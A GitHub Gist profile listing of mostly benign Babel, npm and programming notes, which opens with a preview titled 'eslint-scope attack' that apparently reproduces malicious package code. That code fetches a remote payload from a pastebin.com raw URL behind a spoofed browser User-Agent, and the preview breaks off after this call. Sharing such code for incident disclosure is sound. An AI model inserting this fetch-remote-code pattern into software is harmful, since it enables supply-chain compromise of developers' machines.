Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View hzoo's full-sized avatar
🌱
outside

Henry hzoo

🌱
outside
View GitHub Profile
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@hzoo
hzoo / npm_error.md
Last active March 22, 2024 10:03
`No matching version found for` babel

You might of seen something like:

npm ERR! code ETARGET
npm ERR! notarget No matching version found for @babel/types@^7.9.6.
npm ERR! notarget In most cases you or one of your dependencies are requesting
npm ERR! notarget a package version that doesn't exist.
npm ERR! notarget
@hzoo
hzoo / naur.md
Last active July 9, 2022 15:28 — forked from dpritchett/naur.md
Programming as Theory Building

Programming as Theory Building

Peter Naur, 1985

PDF: http://pages.cs.wisc.edu/~remzi/Naur.pdf

Introduction

The present discussion is a contribution to the understanding of what programming is. It suggests that programming properly should be regarded as an activity by which the programmers form or achieve a certain kind of insight, a theory, of the matters at hand. This suggestion is in contrast to what appears to be a more common notion, that programming should be regarded as a production of a program and certain other texts.

@hzoo
hzoo / removed.txt
Last active August 2, 2019 08:40
babelc options removed in babel 6
babel 5
https://github.com/babel/babel/blob/5.x/packages/babel/src/transformation/file/options/config.json
ast
auxiliaryComment
auxiliaryCommentAfter
auxiliaryCommentBefore
babelrc
blacklist
breakConfig
@hzoo
hzoo / rays2.txt
Last active April 10, 2019 20:21
0 0 0 1 1 0 1 1 0 1 0 1 1 1 0 1 1 0 0
1 0 1 0 0 1 0 1 0 0 0 0 1 1 1 0 1 1 1
0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 1 0 1 1
0 1 0 1 1 1 1 1 0 0 1 0 0 0 1 0 0 1 0
0 0 1 0 0 1 1 0 0 1 1 0 1 0 1 0 1 1 0 0
@hzoo
hzoo / rays.txt
Last active March 13, 2019 16:47
0 1 1 1 1 1 0 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 1 1 0 1 0 1 1 1 0 1 1 0 0
0 1 0 0 1 0 0 1 1 1 1 1 1 1 1 0 0 1 0 1 0 0 1 0 1 0 0 0 0 1 1 1 0 1 1 1
1 1 1 1 0 1 1 1 1 0 1 1 0 1 0 0 1 0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 1 0 1 1
1 0 0 1 0 0 1 0 0 0 1 0 1 1 1 0 0 1 0 1 1 1 1 1 0 0 1 0 0 0 1 0 0 1 0
0 1 1 1 0 1 1 1 0 0 0 0 0 0 0 0 0 0 1 0 0 1 1 0 0 1 1 0 1 0 1 0 1 1 0 0
0 0 1 0 0 1 1 1 1 1 1 1 0 1 1 0 1 0 0 1 0 0 0 1 0 1 1 0 0 0 0 1 1 1 1 1
1 1 1 1 0 1 1 1 1 0 1 1 1 0 1 1 0 1 0 0 1 0 1 0 0 0 1 0 1 0 1 0 0 0 1 0 1 1
0 1 0 0 1 0 0 0 0 0 1 0 1 1 0 0 1 0 0 1 1 1 0 1 1 0 0 1 1 0 0 0 1 0
@hzoo
hzoo / plan.md
Last active July 13, 2018 15:19
Recruiting emails + open source

So I was thinking about how I never respond to recruiter emails, and how their way of try to appeal to me is a bit lacking: work on some framework, create a new framework, be a senior dev/cto, etc.

I was just thinking a bitabout how companies can change to better support open source, so why not respond back with some suggestions?

Can suggest:

  • donating to projects via Open Collective
  • having developer time to contribute back to open source
@hzoo
hzoo / flow-examples.js
Last active November 2, 2017 21:40
Flow
// Flow Type Examples
// https://github.com/babel/babel/blob/65a44a1e131c8bc336b218991bae7548176de283/src/babel/types/alias-keys.json#L79-L110
// https://github.com/babel/babel/blob/088846a3479375a51d71084cb4fd70ef8fa21d29/src/babel/generation/generators/flow.js
/// Primitives
// AnyTypeAnnotation
var x : any;
// BooleanTypeAnnotation
var x : bool;
@hzoo
hzoo / unexpected.md
Created August 9, 2017 12:48
SyntaxError: unexpected token

Tips on debugging "SyntaxError: unexpected token"

This is almost impossible to write but might as well come up with some possibilities real quick.

It's an actual syntax error (typo, or just invalid syntax)!

Example:

function a() {
@hzoo
hzoo / diff
Last active April 7, 2017 19:07
preset-env vs core-js/shim
require("core-js/modules/es6.object.create");
require("core-js/modules/es6.object.define-property");
require("core-js/modules/es6.object.define-properties");
require("core-js/modules/es6.object.get-own-property-descriptor");
require("core-js/modules/es6.object.get-prototype-of");
require("core-js/modules/es6.object.keys");
require("core-js/modules/es6.object.get-own-property-names");
require("core-js/modules/es6.object.freeze");
require("core-js/modules/es6.object.seal");